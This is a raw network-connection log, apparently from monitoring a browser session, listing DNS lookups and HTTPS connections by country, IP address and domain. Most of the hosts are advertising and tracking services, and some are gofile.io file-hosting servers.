US 104.18.21.206:443 a.pub.network tcp
US 8.8.8.8:53 a.pub.network udp
US 8.8.8.8:53 admin.gofile.io udp
US 8.8.8.8:53 a.pub.network udp
US 8.8.8.8:53 ad.a-ads.com udp
US 8.8.8.8:53 fronttoad.com udp
US 8.8.8.8:53 d.pub.network udp
FR 149.202.85.166:443 admin.gofile.io tcp
US 34.160.63.134:443 fronttoad.com tcp
US 8.8.8.8:53 fronttoad.com udp
US 8.8.8.8:53 static.a-ads.com udp
US 34.160.152.31:443 d.pub.network tcp
US 8.8.8.8:53 fronttoad.com udp
DE 46.4.20.137:443 static.a-ads.com tcp
US 8.8.8.8:53 d.pub.network udp
US 34.160.63.134:443 fronttoad.com udp
US 34.160.152.31:443 d.pub.network udp
US 8.8.8.8:53 static.adsafeprotected.com udp
NL 13.227.219.121:443 cmp.quantcast.com tcp
US 8.8.8.8:53 18.43.38.51.in-addr.arpa udp
US 8.8.8.8:53 166.85.202.149.in-addr.arpa udp
US 8.8.8.8:53 206.21.18.104.in-addr.arpa udp
US 8.8.8.8:53 47.152.251.148.in-addr.arpa udp
US 8.8.8.8:53 134.63.160.34.in-addr.arpa udp
US 8.8.8.8:53 31.152.160.34.in-addr.arpa udp
US 8.8.8.8:53 137.20.4.46.in-addr.arpa udp
US 18.65.39.30:443 static.adsafeprotected.com tcp
US 8.8.8.8:53 d162h6x3rxav67.cloudfront.net udp
US 8.8.8.8:53 optimise.net udp
US 8.8.8.8:53 d162h6x3rxav67.cloudfront.net udp
US 8.8.8.8:53 cdn.confiant-integrations.net udp
US 34.111.152.239:443 optimise.net tcp
US 34.111.152.239:443 optimise.net tcp
US 8.8.8.8:53 optimise.net udp
US 8.8.8.8:53 freestar-io.videoplayerhub.com udp
US 8.8.8.8:53 cdn.hadronid.net udp
US 104.18.4.165:443 cdn.confiant-integrations.net tcp
US 8.8.8.8:53 cdn.confiant-integrations.net udp
US 104.26.9.50:443 freestar-io.videoplayerhub.com tcp
US 8.8.8.8:53 freestar-io.videoplayerhub.com udp
US 8.8.8.8:53 optimise.net udp
US 104.22.52.173:443 cdn.hadronid.net tcp
US 8.8.8.8:53 cdn.confiant-integrations.net udp
US 8.8.8.8:53 cdn.hadronid.net udp
US 8.8.8.8:53 freestar-io.videoplayerhub.com udp
US 34.111.152.239:443 optimise.net udp
US 104.18.4.165:443 cdn.confiant-integrations.net udp
US 8.8.8.8:53 btloader.com udp
US 8.8.8.8:53 id.hadron.ad.gt udp
US 172.67.70.134:443 btloader.com tcp
US 8.8.8.8:53 btloader.com udp
US 172.67.23.234:443 id.hadron.ad.gt tcp
US 172.67.23.234:443 id.hadron.ad.gt tcp
US 8.8.8.8:53 id.hadron.ad.gt.cdn.cloudflare.net udp
US 8.8.8.8:53 btloader.com udp
US 8.8.8.8:53 id.hadron.ad.gt.cdn.cloudflare.net udp
US 34.160.63.134:443 fronttoad.com udp
US 8.8.8.8:53 ad-delivery.net udp
US 104.26.3.70:443 ad-delivery.net tcp
US 104.26.3.70:443 ad-delivery.net tcp
US 8.8.8.8:53 ad-delivery.net udp
US 130.211.23.194:443 api.btloader.com tcp
US 8.8.8.8:53 api.btloader.com udp
US 8.8.8.8:53 api.btloader.com udp
US 130.211.23.194:443 api.btloader.com udp
US 130.211.23.194:443 api.btloader.com udp
US 8.8.8.8:53 30.39.65.18.in-addr.arpa udp
US 8.8.8.8:53 239.152.111.34.in-addr.arpa udp
US 8.8.8.8:53 173.52.22.104.in-addr.arpa udp
US 8.8.8.8:53 165.4.18.104.in-addr.arpa udp
US 8.8.8.8:53 234.23.67.172.in-addr.arpa udp
US 8.8.8.8:53 70.3.26.104.in-addr.arpa udp
US 8.8.8.8:53 api.intentiq.com udp
US 8.8.8.8:53 sync.intentiq.com udp
NL 108.156.60.7:443 api.intentiq.com tcp
US 8.8.8.8:53 api.intentiq.com udp
US 8.8.8.8:53 sync.intentiq.com udp
NL 65.9.86.36:443 sync.intentiq.com tcp
US 8.8.8.8:53 api.intentiq.com udp
NL 65.9.86.36:443 sync.intentiq.com udp
US 8.8.8.8:53 c.pub.network udp
US 8.8.8.8:53 store10.gofile.io udp
US 34.160.152.31:443 c.pub.network tcp
US 8.8.8.8:53 c.pub.network udp
US 34.160.152.31:443 c.pub.network tcp
US 8.8.8.8:53 c.pub.network udp
US 8.8.8.8:53 store10.gofile.io udp
FR 162.19.19.83:443 store10.gofile.io tcp
NL 108.156.60.7:443 api.intentiq.com udp
US 8.8.8.8:53 secure.quantserve.com udp
US 34.160.152.31:443 c.pub.network udp
US 8.8.8.8:53 store10.gofile.io udp
US 8.8.8.8:53 global.px.quantserve.com udp
US 74.119.119.139:443 dnacdn.net tcp
US 74.119.119.139:443 dnacdn.net tcp
US 8.8.8.8:53 match.adsrvr.org udp
US 151.101.1.229:443 cdn.jsdelivr.net tcp
US 34.102.146.192:443 oa.openxcdn.net tcp
US 8.8.8.8:53 invstatic101.creativecdn.com udp
US 52.223.40.198:443 match.adsrvr.org tcp
US 8.8.8.8:53 global.px.quantserve.com udp
US 8.8.8.8:53 s2s.t13.io udp
US 8.8.8.8:53 btlr.sharethrough.com udp
US 8.8.8.8:53 hb.undertone.com udp
US 8.8.8.8:53 tlx.3lift.com udp
US 8.8.8.8:53 match.adsrvr.org udp
US 34.107.140.113:443 s2s.t13.io tcp
US 34.107.140.113:443 s2s.t13.io tcp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 grid.bidswitch.net udp
US 8.8.8.8:53 g2.gumgum.com udp
US 8.8.8.8:53 colossusssp.com udp
US 34.107.148.139:443 prebid.media.net tcp
US 18.239.94.100:443 hb.undertone.com tcp
US 34.102.146.192:443 oa.openxcdn.net udp
US 8.8.8.8:53 match.adsrvr.org udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
US 8.8.8.8:53 cdn-ima.33across.com.cdn.cloudflare.net udp
US 8.8.8.8:53 htlb.casalemedia.com udp
US 8.8.8.8:53 apex.go.sonobi.com udp
US 8.8.8.8:53 c2shb.pubgw.yahoo.com udp
US 8.8.8.8:53 36.86.9.65.in-addr.arpa udp
US 8.8.8.8:53 198.40.223.52.in-addr.arpa udp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 s2s.t13.io udp
US 8.8.8.8:53 prebid.media.net udp
US 8.8.8.8:53 d2dwiwtjj7ipd3.cloudfront.net udp
US 8.8.8.8:53 btlr-us-east-1.sharethrough.com udp
US 8.8.8.8:53 us-east-tlx.3lift.com udp
US 8.8.8.8:53 us-east-tlx.3lift.com udp
US 8.8.8.8:53 btlr-us-east-1.sharethrough.com udp
US 8.8.8.8:53 g2.gumgum.com udp
US 3.232.158.174:443 btlr.sharethrough.com tcp
US 3.232.158.174:443 btlr.sharethrough.com tcp
US 3.232.158.174:443 btlr.sharethrough.com tcp
US 74.119.119.129:443 bidder.criteo.com tcp
US 3.228.31.130:443 tlx.3lift.com tcp
US 18.208.29.47:443 ads.yieldmo.com tcp
US 34.197.236.30:443 g2.gumgum.com tcp
US 34.197.236.30:443 g2.gumgum.com tcp
US 34.197.236.30:443 g2.gumgum.com tcp
US 64.247.192.240:443 colossusssp.com tcp
US 104.18.25.185:443 htlb.casalemedia.com tcp
US 69.166.1.8:443 apex.go.sonobi.com tcp
US 3.92.156.8:443 c2shb.pubgw.yahoo.com tcp
US 3.92.156.8:443 c2shb.pubgw.yahoo.com tcp
US 151.101.1.229:443 cdn.jsdelivr.net udp
US 8.8.8.8:53 colossusssp.com udp
US 34.107.140.113:443 s2s.t13.io udp
US 8.8.8.8:53 oajs.openx.net udp
US 8.8.8.8:53 colossusssp.com udp
US 8.8.8.8:53 iad-2-apex.go.sonobi.com udp
US 8.8.8.8:53 ads.pubmatic.com udp
US 35.211.49.20:443 grid.bidswitch.net tcp
US 8.8.8.8:53 g2.gumgum.com udp
US 8.8.8.8:53 htlb.casalemedia.com.cdn.cloudflare.net udp
US 8.8.8.8:53 iad-2-apex.go.sonobi.com udp
US 8.8.8.8:53 ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud udp
US 8.8.8.8:53 grid-udp-use.bidswitch.net udp
NL 104.81.141.9:443 ads.pubmatic.com tcp
US 8.8.8.8:53 ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud udp
US 8.8.8.8:53 htlb.casalemedia.com.cdn.cloudflare.net udp
US 8.8.8.8:53 oajs.openx.net udp
US 8.8.8.8:53 oajs.openx.net udp
US 74.119.119.139:443 dnacdn.net tcp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 dnacdn.net udp
US 8.8.8.8:53 e6603.g.akamaiedge.net udp
US 8.8.8.8:53 94d7155fd687a3a499616f22d6f1743f.safeframe.googlesyndication.com udp
US 104.18.25.185:443 htlb.casalemedia.com.cdn.cloudflare.net udp
NL 142.250.179.161:443 94d7155fd687a3a499616f22d6f1743f.safeframe.googlesyndication.com tcp
NL 142.250.179.161:443 94d7155fd687a3a499616f22d6f1743f.safeframe.googlesyndication.com udp
US 34.111.152.239:443 optimise.net udp
US 64.247.192.240:443 colossusssp.com tcp
US 8.8.8.8:53 grid.bidswitch.net udp
US 35.207.57.93:443 grid.bidswitch.net tcp
US 8.8.8.8:53 113.140.107.34.in-addr.arpa udp
US 8.8.8.8:53 100.94.239.18.in-addr.arpa udp
US 8.8.8.8:53 185.25.18.104.in-addr.arpa udp
US 8.8.8.8:53 47.29.208.18.in-addr.arpa udp
US 8.8.8.8:53 174.158.232.3.in-addr.arpa udp
US 8.8.8.8:53 130.31.228.3.in-addr.arpa udp
US 8.8.8.8:53 30.236.197.34.in-addr.arpa udp
US 8.8.8.8:53 8.1.166.69.in-addr.arpa udp
US 8.8.8.8:53 8.156.92.3.in-addr.arpa udp
US 8.8.8.8:53 240.192.247.64.in-addr.arpa udp
US 8.8.8.8:53 grid-udp-use.bidswitch.net udp
US 192.184.69.239:443 global.px.quantserve.com tcp
US 172.67.38.106:443 cdn.id5-sync.com tcp
US 34.96.70.87:443 invstatic101.creativecdn.com tcp
NL 52.222.139.112:443 tags.crwdcntrl.net tcp
US 74.119.119.131:443 static.va1.vip.prod.criteo.net tcp
US 104.18.24.112:443 cdn-ima.33across.com.cdn.cloudflare.net tcp
US 34.120.135.53:443 oajs.openx.net tcp
US 74.119.119.131:443 static.va1.vip.prod.criteo.net tcp
NL 142.251.36.1:443 tpc.googlesyndication.com tcp
US 8.8.8.8:53 ap.lijit.com udp
US 34.96.70.87:443 invstatic101.creativecdn.com udp
NL 142.251.36.1:443 tpc.googlesyndication.com udp
US 34.120.135.53:443 oajs.openx.net udp
NL 216.52.2.48:443 ap.lijit.com tcp
US 8.8.8.8:53 93.57.207.35.in-addr.arpa udp
US 8.8.8.8:53 oeu.vap.lijit.com udp
US 8.8.8.8:53 53.135.120.34.in-addr.arpa udp
US 8.8.8.8:53 239.69.184.192.in-addr.arpa udp
US 3.84.175.74:443 bcp.crwdcntrl.net tcp
US 8.8.8.8:53 bcp.crwdcntrl.net udp
DE 141.95.98.64:443 id5-sync.com tcp
US 8.8.8.8:53 qsearch-a.akamaihd.net udp
US 8.8.8.8:53 google-bidout-d.openx.net udp
US 2.18.121.139:443 qsearch-a.akamaihd.net tcp
US 35.244.159.8:443 google-bidout-d.openx.net tcp
US 8.8.8.8:53 a267.g.akamai.net udp
US 34.98.64.218:443 google-bidout-d.openx.net tcp
US 8.8.8.8:53 google-bidout-d.openx.net udp
US 8.8.8.8:53 u.openx.net udp
US 8.8.8.8:53 a267.g.akamai.net udp
US 8.8.8.8:53 48.2.52.216.in-addr.arpa udp
US 8.8.8.8:53 u.openx.net udp
US 35.244.159.8:443 u.openx.net udp
US 34.98.64.218:443 u.openx.net udp
US 185.235.85.167:443 gbc5.va.us.criteo.com tcp
US 185.235.85.210:443 gbc7.va.us.criteo.com tcp
US 8.8.8.8:53 gbc5.va.us.criteo.com udp
NL 142.251.36.2:443 partner46.googleadservices.com tcp
US 8.8.8.8:53 ib.adnxs.com udp
US 8.8.8.8:53 d2fashanjl7d9f.cloudfront.net udp
US 8.8.8.8:53 gbc7.va.us.criteo.com udp
US 8.8.8.8:53 cat.va.us.criteo.com udp
NL 142.251.36.2:443 partner46.googleadservices.com udp
US 8.8.8.8:53 ads.us.criteo.com udp
US 8.8.8.8:53 protected-by.clarium.io udp
US 8.8.8.8:53 ib.anycast.adnxs.com udp
US 18.65.39.9:443 rules.quantcount.com tcp
NL 185.89.210.20:443 ib.adnxs.com tcp
US 3.233.188.200:443 protected-by.clarium.io tcp
US 8.8.8.8:53 protected-by.clarium.io udp
US 8.8.8.8:53 ads.va1.vip.prod.criteo.com udp
US 8.8.8.8:53 cat.va1.vip.prod.criteo.com udp
US 74.119.119.65:443 ads.va1.vip.prod.criteo.com tcp
US 8.8.8.8:53 reports.intentiq.com udp
US 8.8.8.8:53 protected-by.clarium.io udp
US 8.8.8.8:53 ads.va1.vip.prod.criteo.com udp
US 8.8.8.8:53 139.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 8.159.244.35.in-addr.arpa udp
US 8.8.8.8:53 contextual.media.net udp
US 35.153.46.198:443 reports.intentiq.com tcp
US 8.8.8.8:53 js-sec.indexww.com udp
US 3.233.188.200:443 protected-by.clarium.io tcp
US 8.8.8.8:53 cdn.undertone.com udp
US 8.8.8.8:53 sync.colossusssp.com udp
US 8.8.8.8:53 eb2.3lift.com udp
US 8.8.8.8:53 acdn.adnxs.com udp
NL 104.85.0.23:443 contextual.media.net tcp
US 8.8.8.8:53 reports.intentiq.com udp
US 8.8.8.8:53 cat.va1.vip.prod.criteo.com udp
US 8.8.8.8:53 contextual.media.net udp
US 35.211.178.172:443 user-data-us-east.bidswitch.net tcp
DE 141.95.98.64:443 id5-sync.com tcp
DE 141.95.98.64:443 id5-sync.com tcp
DE 141.95.98.64:443 id5-sync.com tcp
US 104.18.11.47:443 js-sec.indexww.com tcp
US 209.192.253.52:443 sync.colossusssp.com tcp
US 8.8.8.8:53 pixel.quantserve.com udp
NL 108.156.60.53:443 cdn.undertone.com tcp
US 104.36.113.112:443 pugm33000-fpb.pubmnet.com tcp
US 52.223.22.214:443 eb2.3lift.com tcp
US 151.101.1.108:443 acdn.adnxs.com tcp
US 8.8.8.8:53 reports.intentiq.com udp
US 8.8.8.8:53 user-data-us-east.bidswitch.net udp
US 74.119.119.65:443 ads.va1.vip.prod.criteo.com tcp
US 3.233.188.200:443 protected-by.clarium.io tcp
US 8.8.8.8:53 js-sec.indexww.com.cdn.cloudflare.net udp
US 8.8.8.8:53 contextual.media.net udp
US 35.153.46.198:443 reports.intentiq.com tcp
US 8.8.8.8:53 js-sec.indexww.com.cdn.cloudflare.net udp
US 104.36.113.112:443 pugm33000-fpb.pubmnet.com tcp
US 8.8.8.8:53 sync.colossusssp.com udp
US 8.8.8.8:53 d2g1q7ku6gxqv6.cloudfront.net udp
US 8.8.8.8:53 pixel.rubiconproject.net.akadns.net udp
US 8.8.8.8:53 9.39.65.18.in-addr.arpa udp
US 8.8.8.8:53 20.210.89.185.in-addr.arpa udp
US 8.8.8.8:53 65.119.119.74.in-addr.arpa udp
US 8.8.8.8:53 200.188.233.3.in-addr.arpa udp
US 8.8.8.8:53 198.46.153.35.in-addr.arpa udp
US 8.8.8.8:53 47.11.18.104.in-addr.arpa udp
US 8.8.8.8:53 53.60.156.108.in-addr.arpa udp
US 8.8.8.8:53 214.22.223.52.in-addr.arpa udp
US 8.8.8.8:53 52.253.192.209.in-addr.arpa udp
US 8.8.8.8:53 108.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 112.113.36.104.in-addr.arpa udp
US 8.8.8.8:53 d2g1q7ku6gxqv6.cloudfront.net udp
US 8.8.8.8:53 us-east-eb2.3lift.com udp
US 8.8.8.8:53 prod.appnexus.map.fastly.net udp
US 8.8.8.8:53 us-east-eb2.3lift.com udp
US 74.119.119.147:443 cat.va1.vip.prod.criteo.com tcp
US 8.8.8.8:53 prod.appnexus.map.fastly.net udp
US 8.8.8.8:53 us-u.openx.net udp
US 8.8.8.8:53 pixel.advertising.com udp
US 8.8.8.8:53 image8.pubmatic.com udp
US 8.8.8.8:53 pixel-sync.sitescout.com udp
US 8.8.8.8:53 ups.analytics.yahoo.com udp
US 8.8.8.8:53 ssum-sec.casalemedia.com udp
US 8.8.8.8:53 secure-assets.rubiconproject.com udp
US 8.8.8.8:53 us-u.openx.net udp
US 8.8.8.8:53 ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud udp
US 3.225.218.10:443 ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud tcp
CA 185.80.39.216:443 ssum-sec.casalemedia.com tcp
HK 23.42.175.200:443 secure-assets.rubiconproject.com tcp
US 35.244.159.8:443 us-u.openx.net tcp
NL 213.19.162.80:443 pixel.rubiconproject.net.akadns.net tcp
US 8.28.7.82:443 image8.pubmatic.com tcp
US 207.198.113.89:443 pixel-sync.sitescout.com tcp
US 3.225.218.10:443 ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud tcp
US 192.184.69.215:443 pixel.quantserve.com tcp
NL 213.19.162.80:443 pixel.rubiconproject.net.akadns.net tcp
US 8.8.8.8:53 us-u.openx.net udp
US 8.8.8.8:53 ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud udp
US 3.225.218.10:443 ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud tcp
CA 185.80.39.216:443 ssum-sec.casalemedia.com tcp
HK 23.42.175.200:443 secure-assets.rubiconproject.com tcp
US 35.244.159.8:443 us-u.openx.net udp
US 8.28.7.82:443 image8.pubmatic.com tcp
US 207.198.113.89:443 pixel-sync.sitescout.com tcp
US 3.225.218.10:443 ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud tcp
US 192.184.69.215:443 pixel.quantserve.com tcp
US 8.8.8.8:53 simage4.pubmatic.com udp
US 8.8.8.8:53 e8960.e2.akamaiedge.net udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 8.8.8.8:53 usr.undertone.com udp
US 8.8.8.8:53 fr-xn.lb.indexww.com udp
US 8.8.8.8:53 pixel-a.sitescout.com udp
US 74.119.119.150:443 widget.va.us.criteo.com tcp
US 104.36.113.111:443 simage4.pubmatic.com tcp
US 8.8.8.8:53 pixel-a.sitescout.com udp
US 8.8.8.8:53 eus.rubiconproject.com udp
NL 65.9.86.120:443 usr.undertone.com tcp
US 104.17.25.14:443 cdnjs.cloudflare.com tcp
US 8.8.8.8:53 widget.va1.vip.prod.criteo.com udp
US 8.8.8.8:53 147.119.119.74.in-addr.arpa udp
US 8.8.8.8:53 200.175.42.23.in-addr.arpa udp
US 8.8.8.8:53 89.113.198.207.in-addr.arpa udp
US 8.8.8.8:53 215.69.184.192.in-addr.arpa udp
US 8.8.8.8:53 imagesync-vac.pubmnet.com udp
US 8.8.8.8:53 widget.va1.vip.prod.criteo.com udp
US 8.8.8.8:53 imageproxy.us.criteo.net udp
NL 104.85.2.117:443 eus.rubiconproject.com tcp
US 8.8.8.8:53 spug33000-fpb.pubmnet.com udp
US 8.8.8.8:53 csm.us.criteo.net udp
US 8.8.8.8:53 d1wsawskf2klzj.cloudfront.net udp
US 8.8.8.8:53 spug33000-fpb.pubmnet.com udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 8.8.8.8:53 d1wsawskf2klzj.cloudfront.net udp
US 8.8.8.8:53 e8960.b.akamaiedge.net udp
US 8.8.8.8:53 cdnjs.cloudflare.com udp
US 67.202.105.21:443 ssc-cms.33across.com tcp
US 74.119.119.80:443 imageproxy.us.criteo.net tcp
US 74.119.119.80:443 imageproxy.us.criteo.net tcp
US 74.119.119.80:443 imageproxy.us.criteo.net tcp
US 74.119.119.80:443 imageproxy.us.criteo.net tcp
US 74.119.119.80:443 imageproxy.us.criteo.net tcp
US 74.119.119.80:443 imageproxy.us.criteo.net tcp
US 8.8.8.8:53 imageproxy.va1.vip.prod.criteo.net udp
US 8.8.8.8:53 e8960.b.akamaiedge.net udp
US 104.17.25.14:443 cdnjs.cloudflare.com udp
US 8.8.8.8:53 pixel.33across.com udp
US 8.8.8.8:53 imageproxy.va1.vip.prod.criteo.net udp
US 67.202.105.21:443 pixel.33across.com tcp
US 74.119.119.80:443 imageproxy.va1.vip.prod.criteo.net tcp
US 74.119.119.80:443 imageproxy.va1.vip.prod.criteo.net tcp
US 74.119.119.80:443 imageproxy.va1.vip.prod.criteo.net tcp
US 74.119.119.80:443 imageproxy.va1.vip.prod.criteo.net tcp
US 74.119.119.80:443 imageproxy.va1.vip.prod.criteo.net tcp
US 74.119.119.80:443 imageproxy.va1.vip.prod.criteo.net tcp
US 8.8.8.8:53 pixel.33across.com udp
US 74.119.119.149:443 csm.us.criteo.net tcp
US 8.8.8.8:53 de.tynt.com udp
US 8.8.8.8:53 150.119.119.74.in-addr.arpa udp
US 8.8.8.8:53 14.25.17.104.in-addr.arpa udp
US 8.8.8.8:53 117.2.85.104.in-addr.arpa udp
US 8.8.8.8:53 21.105.202.67.in-addr.arpa udp
US 8.8.8.8:53 80.119.119.74.in-addr.arpa udp
US 67.202.105.31:443 de.tynt.com tcp
US 8.8.8.8:53 de.tynt.com udp
US 8.8.8.8:53 de.tynt.com udp
NL 142.251.36.2:443 partner46.googleadservices.com udp
US 8.8.8.8:53 hde.tynt.com udp
US 67.202.105.33:443 hde.tynt.com tcp
US 8.8.8.8:53 hde.tynt.com udp
US 8.8.8.8:53 31.105.202.67.in-addr.arpa udp
US 8.8.8.8:53 hde.tynt.com udp
US 67.202.105.33:443 hde.tynt.com tcp
US 8.8.8.8:53 bh.contextweb.com udp
US 8.8.8.8:53 openrtb.cootlogix.com udp
US 8.8.8.8:53 id.rlcdn.com udp
US 8.8.8.8:53 sync.cootlogix.com udp
US 8.8.8.8:53 ids.ad.gt udp
US 8.8.8.8:53 match.prod.bidr.io udp
US 146.190.64.207:443 sync.cootlogix.com tcp
US 146.190.64.207:443 sync.cootlogix.com tcp
US 8.8.8.8:53 pixel.tapad.com udp
US 8.8.8.8:53 h56ipzdlb.puzztake.com udp
US 172.67.23.234:443 ids.ad.gt tcp
US 8.8.8.8:53 1.cpm.ak-is2.net udp
US 68.183.135.134:443 openrtb.cootlogix.com tcp
US 8.8.8.8:53 h56ipzdlb.puzztake.com udp
US 8.8.8.8:53 1.cpm.ak-is2.net udp
US 198.148.27.131:443 bh.contextweb.com tcp
US 35.190.60.146:443 id.rlcdn.com tcp
NL 77.245.57.72:443 1.cpm.ak-is2.net tcp
US 52.72.198.155:443 match.prod.bidr.io tcp
US 34.111.113.62:443 pixel.tapad.com tcp
US 8.8.8.8:53 id.rlcdn.com udp
US 8.8.8.8:53 match.prod.bidr.io udp
US 8.8.8.8:53 33.105.202.67.in-addr.arpa udp
US 8.8.8.8:53 207.64.190.146.in-addr.arpa udp
US 8.8.8.8:53 134.135.183.68.in-addr.arpa udp
US 8.8.8.8:53 match.prod.bidr.io udp
US 8.8.8.8:53 ids.ad.gt.cdn.cloudflare.net udp
US 8.8.8.8:53 openrtbdolb.cootlogix.com udp
US 35.190.60.146:443 id.rlcdn.com udp
US 8.8.8.8:53 openrtbdolb.cootlogix.com udp
US 34.111.113.62:443 pixel.tapad.com udp
US 8.8.8.8:53 lga-direct-bgp.contextweb.com udp
US 8.8.8.8:53 pixel.tapad.com udp
US 209.192.253.52:443 sync.colossusssp.com tcp
US 8.8.8.8:53 lga-direct-bgp.contextweb.com udp
US 8.8.8.8:53 pixel.tapad.com udp
US 8.8.8.8:53 token.rubiconproject.com udp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 8.8.8.8:53 cm.g.doubleclick.net udp
US 8.8.8.8:53 rubiconcm.digitaleast.mobi udp
US 8.8.8.8:53 cm.smadex.com udp
US 34.95.81.168:443 rubiconcm.digitaleast.mobi tcp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 8.8.8.8:53 rubiconcm.digitaleast.mobi udp
US 8.8.8.8:53 146.60.190.35.in-addr.arpa udp
US 8.8.8.8:53 62.113.111.34.in-addr.arpa udp
US 8.8.8.8:53 72.57.245.77.in-addr.arpa udp
US 8.8.8.8:53 131.27.148.198.in-addr.arpa udp
US 8.8.8.8:53 155.198.72.52.in-addr.arpa udp
NL 52.222.139.22:443 cm.smadex.com tcp
US 8.8.8.8:53 aax-eu.amazon-adsystem.com udp
US 8.8.8.8:53 rubiconcm.digitaleast.mobi udp
US 8.8.8.8:53 pixel.rubiconproject.net.akadns.net udp
US 8.8.8.8:53 cm.g.doubleclick.net udp
NL 213.19.162.90:443 token.rubiconproject.com tcp
NL 213.19.162.90:443 token.rubiconproject.com tcp
IE 52.95.122.74:443 aax-eu.amazon-adsystem.com tcp
NL 213.19.162.90:443 token.rubiconproject.com tcp
US 34.95.81.168:443 rubiconcm.digitaleast.mobi udp
US 8.8.8.8:53 cm.smadex.com udp
US 8.8.8.8:53 22.139.222.52.in-addr.arpa udp
US 8.8.8.8:53 90.162.19.213.in-addr.arpa udp
US 8.8.8.8:53 74.122.95.52.in-addr.arpa udp
US 8.8.8.8:53 168.81.95.34.in-addr.arpa udp
NL 64.158.223.140:443 33across-match.dotomi.com tcp
US 8.8.8.8:53 bfp.global.dual.dotomi.weighted.com.akadns.net udp
US 8.8.8.8:53 bfp.global.dual.dotomi.weighted.com.akadns.net udp
US 8.8.8.8:53 t.pswec.com udp
US 54.174.203.135:443 t.pswec.com tcp
US 8.8.8.8:53 elb-aws-va-proclivity-712001148.us-east-1.elb.amazonaws.com udp
US 8.8.8.8:53 elb-aws-va-proclivity-712001148.us-east-1.elb.amazonaws.com udp
US 8.8.8.8:53 140.223.158.64.in-addr.arpa udp
US 8.8.8.8:53 135.203.174.54.in-addr.arpa udp
NL 142.250.179.161:443 94d7155fd687a3a499616f22d6f1743f.safeframe.googlesyndication.com udp
US 8.8.8.8:53 e8960.e2.akamaiedge.net udp
US 74.119.119.149:443 csm.us.criteo.net tcp
US 8.8.8.8:53 id.hadron.ad.gt udp
US 8.8.8.8:53 s2s.t13.io udp
US 69.166.1.8:443 iad-2-apex.go.sonobi.com tcp
US 8.8.8.8:53 grid.bidswitch.net udp
US 34.107.140.113:443 s2s.t13.io udp
US 8.8.8.8:53 colossusssp.com udp
US 8.8.8.8:53 btlr.sharethrough.com udp
US 8.8.8.8:53 hb.undertone.com udp
US 104.18.25.185:443 htlb.casalemedia.com.cdn.cloudflare.net udp
US 8.8.8.8:53 c2shb.pubgw.yahoo.com udp
US 8.8.8.8:53 prebid.media.net udp
US 64.247.192.240:443 colossusssp.com tcp
US 8.8.8.8:53 tlx.3lift.com udp
US 8.8.8.8:53 ads.yieldmo.com udp
US 3.232.158.174:443 btlr.sharethrough.com tcp
US 74.119.119.129:443 bidder.criteo.com tcp
US 8.8.8.8:53 htlb.casalemedia.com.cdn.cloudflare.net udp
US 34.236.83.94:443 c2shb.pubgw.yahoo.com tcp
US 8.8.8.8:53 btlr-us-east-1.sharethrough.com udp
US 8.8.8.8:53 rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com udp
US 8.8.8.8:53 btlr-us-east-1.sharethrough.com udp
US 8.8.8.8:53 g2.gumgum.com udp
US 8.8.8.8:53 rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com udp
US 8.8.8.8:53 g2.gumgum.com udp
US 8.8.8.8:53 us-east-tlx.3lift.com udp
US 8.8.8.8:53 ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud udp
US 8.8.8.8:53 us-east-tlx.3lift.com udp
US 35.211.142.100:443 grid.bidswitch.net tcp
US 8.8.8.8:53 ssp-ats-prod-us-east-1.one-mobile-prod.aws.oath.cloud udp
US 8.8.8.8:53 d2dwiwtjj7ipd3.cloudfront.net udp
US 8.8.8.8:53 grid-udp-use.bidswitch.net udp
US 8.8.8.8:53 d2dwiwtjj7ipd3.cloudfront.net udp
US 8.8.8.8:53 grid-udp-use.bidswitch.net udp
US 8.8.8.8:53 100.142.211.35.in-addr.arpa udp
US 8.8.8.8:53 94.83.236.34.in-addr.arpa udp
NL 142.250.179.161:443 94d7155fd687a3a499616f22d6f1743f.safeframe.googlesyndication.com udp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 www.googletagservices.com udp
US 34.160.152.31:443 c.pub.network udp
NL 216.58.214.2:443 googleads.g.doubleclick.net tcp
US 8.8.8.8:53 tpc.googlesyndication.com udp
US 8.8.8.8:53 www.googletagservices.com udp
NL 142.251.36.1:443 tpc.googlesyndication.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 www.googletagservices.com udp
NL 216.58.214.2:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 s0.2mdn.net udp
NL 142.250.179.134:443 s0.2mdn.net tcp
US 8.8.8.8:53 s0.2mdn.net udp
NL 142.250.179.134:443 s0.2mdn.net udp
US 8.8.8.8:53 googleads4.g.doubleclick.net udp
US 8.8.8.8:53 googleads4.g.doubleclick.net udp
GB 216.58.208.98:443 googleads4.g.doubleclick.net tcp
US 8.8.8.8:53 googleads4.g.doubleclick.net udp
GB 216.58.208.98:443 googleads4.g.doubleclick.net udp
US 8.8.8.8:53 2.214.58.216.in-addr.arpa udp
US 8.8.8.8:53 134.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 98.208.58.216.in-addr.arpa udp
GB 216.58.208.98:443 googleads4.g.doubleclick.net udp
NL 172.217.168.226:443 ade.googlesyndication.com tcp
US 8.8.8.8:53 ade.googlesyndication.com udp
US 8.8.8.8:53 ade.googlesyndication.com udp
NL 172.217.168.226:443 ade.googlesyndication.com udp
